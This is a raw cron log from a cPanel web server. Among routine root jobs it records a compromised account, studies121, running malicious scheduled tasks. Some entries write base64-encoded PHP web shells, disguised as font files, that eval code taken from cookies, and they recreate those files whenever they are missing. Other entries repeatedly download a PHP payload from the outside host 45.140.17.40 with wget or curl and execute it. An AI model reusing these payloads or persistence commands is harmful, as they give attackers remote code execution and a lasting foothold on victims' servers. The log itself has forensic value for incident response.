Sep  8 08:38:01 ip-184-168-122-23 CROND[15154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:38:01 ip-184-168-122-23 CROND[15155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:38:01 ip-184-168-122-23 CROND[15156]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:38:02 ip-184-168-122-23 CROND[15160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:39:01 ip-184-168-122-23 CROND[15254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:39:01 ip-184-168-122-23 CROND[15256]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:39:01 ip-184-168-122-23 CROND[15257]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 08:39:01 ip-184-168-122-23 CROND[15259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:39:01 ip-184-168-122-23 CROND[15260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:40:01 ip-184-168-122-23 CROND[15394]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:40:01 ip-184-168-122-23 CROND[15397]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:40:01 ip-184-168-122-23 CROND[15401]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:40:01 ip-184-168-122-23 CROND[15403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:40:01 ip-184-168-122-23 CROND[15402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:40:01 ip-184-168-122-23 CROND[15399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:40:01 ip-184-168-122-23 CROND[15400]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:40:01 ip-184-168-122-23 CROND[15405]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:41:01 ip-184-168-122-23 CROND[15517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:41:01 ip-184-168-122-23 CROND[15516]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:41:01 ip-184-168-122-23 CROND[15518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:41:01 ip-184-168-122-23 CROND[15519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:42:01 ip-184-168-122-23 CROND[15716]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:42:01 ip-184-168-122-23 CROND[15717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:42:01 ip-184-168-122-23 CROND[15719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:42:01 ip-184-168-122-23 CROND[15720]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:42:01 ip-184-168-122-23 CROND[15722]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:43:01 ip-184-168-122-23 CROND[15831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:43:01 ip-184-168-122-23 CROND[15832]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:43:01 ip-184-168-122-23 CROND[15830]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:43:01 ip-184-168-122-23 CROND[15833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:44:01 ip-184-168-122-23 CROND[15917]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:44:01 ip-184-168-122-23 CROND[15918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:44:01 ip-184-168-122-23 CROND[15920]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:44:01 ip-184-168-122-23 CROND[15923]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:44:01 ip-184-168-122-23 CROND[15925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:45:01 ip-184-168-122-23 CROND[16067]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:45:01 ip-184-168-122-23 CROND[16069]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_mailman_cache && /usr/local/cpanel/scripts/update_mailman_cache)
Sep  8 08:45:01 ip-184-168-122-23 CROND[16071]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:45:01 ip-184-168-122-23 CROND[16072]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 08:45:01 ip-184-168-122-23 CROND[16073]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:45:01 ip-184-168-122-23 CROND[16070]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:45:01 ip-184-168-122-23 CROND[16074]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 08:46:01 ip-184-168-122-23 CROND[16233]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:46:01 ip-184-168-122-23 CROND[16234]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 08:46:01 ip-184-168-122-23 CROND[16238]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 08:46:01 ip-184-168-122-23 CROND[16241]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:46:01 ip-184-168-122-23 CROND[16242]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:46:01 ip-184-168-122-23 CROND[16240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:46:01 ip-184-168-122-23 CROND[16237]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:47:01 ip-184-168-122-23 CROND[16458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:47:01 ip-184-168-122-23 CROND[16459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:47:01 ip-184-168-122-23 CROND[16461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:47:01 ip-184-168-122-23 CROND[16462]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:48:01 ip-184-168-122-23 CROND[16730]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:48:01 ip-184-168-122-23 CROND[16732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:48:01 ip-184-168-122-23 CROND[16733]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 08:48:01 ip-184-168-122-23 CROND[16731]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:48:01 ip-184-168-122-23 CROND[16734]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:49:01 ip-184-168-122-23 CROND[16823]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 08:49:01 ip-184-168-122-23 CROND[16824]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 08:49:01 ip-184-168-122-23 CROND[16826]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 08:49:01 ip-184-168-122-23 CROND[16825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16915]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 08:50:01 ip-184-168-122-23 CROND[16918]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
